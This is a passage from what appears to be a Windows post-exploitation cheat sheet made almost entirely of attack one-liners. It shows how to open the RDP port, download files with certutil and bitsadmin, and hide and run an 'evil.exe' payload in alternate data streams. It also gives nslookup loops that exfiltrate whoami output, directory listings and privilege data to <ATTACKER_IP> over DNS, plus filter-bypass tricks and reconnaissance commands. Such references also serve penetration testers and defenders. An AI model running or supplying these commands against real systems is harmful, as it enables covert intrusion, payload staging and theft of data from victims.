netsh firewall add portopening TCP 3389 "Remote Desktop"

Enable Remote Desktop via WMIC

Download Techniques

BitsAdmin

bitsadmin /create <jobname>
bitsadmin /addfile <jobname> <url> <localpath>
bitsadmin /RESUME <jobname>
bitsadmin /complete <jobname>

CertUtil

certutil.exe -urlcache -split -f "http://<url>/file.exe" <localpath>.exe

CertReq

CertReq -Post -config <url> <localpath>

Alternate Data Streams (ADS)

Detect ADS

dir /r

Read ADS

more file.txt:ads.txt
powershell (Get-Content file.txt -Stream ads.txt)

Write to ADS

type C:\temp\evil.exe > "C:\path\logfile.log:evil.exe"
certutil.exe -urlcache -split -f <url> c:\temp:streamname

Extract from ADS

expand c:\ads\file.txt:test.exe c:\temp\evil.exe

Execute from ADS

wmic process call create "'C:\path\file.log:evil.exe'"
powershell -ep bypass - < c:\temp:streamname

DNS Exfiltration

Send Command Output via DNS

for /f %a in ('whoami') do nslookup %a <ATTACKER_IP>
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <ATTACKER_IP>
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <ATTACKER_IP>

Handle Spaces in Paths

for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <ATTACKER_IP>

Redirect and Exfiltrate

whoami /priv | findstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <ATTACKER_IP>

Bypass Techniques

Character Blacklisting

echo %HOMEPATH:~6,-11%   # Outputs backslash
who^ami   # Bypasses whoami

Error Messages

net helpmsg <error_code>

URL ACLs

netsh http show urlacl

Common Reconnaissance Patterns

Quick System Info

hostname & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" & whoami /all

Quick Domain Info

echo %USERDOMAIN% & echo %logonserver% & net user /domain | findstr /v "------------"

Quick Network Info

ipconfig /all & netstat -ano | findstr LISTENING

Quick Privilege Check

whoami /priv | findstr /i "enable"

Tips

1. Use 2>nul to suppress error messages when commands might fail
2. Use findstr to filter output for specific keywords
3. Use ^ to escape special characters in commands
4. Use & to chain multiple commands on one line
5. Use | to pipe output between commands
6. Check LOLBAS (https://lolbas-project.github.io/) for more living-off-the-land binaries
7. Use short paths (e.g., Progra~2) when dealing with spaces in paths
8. Save output to files for later analysis: command > output.txt
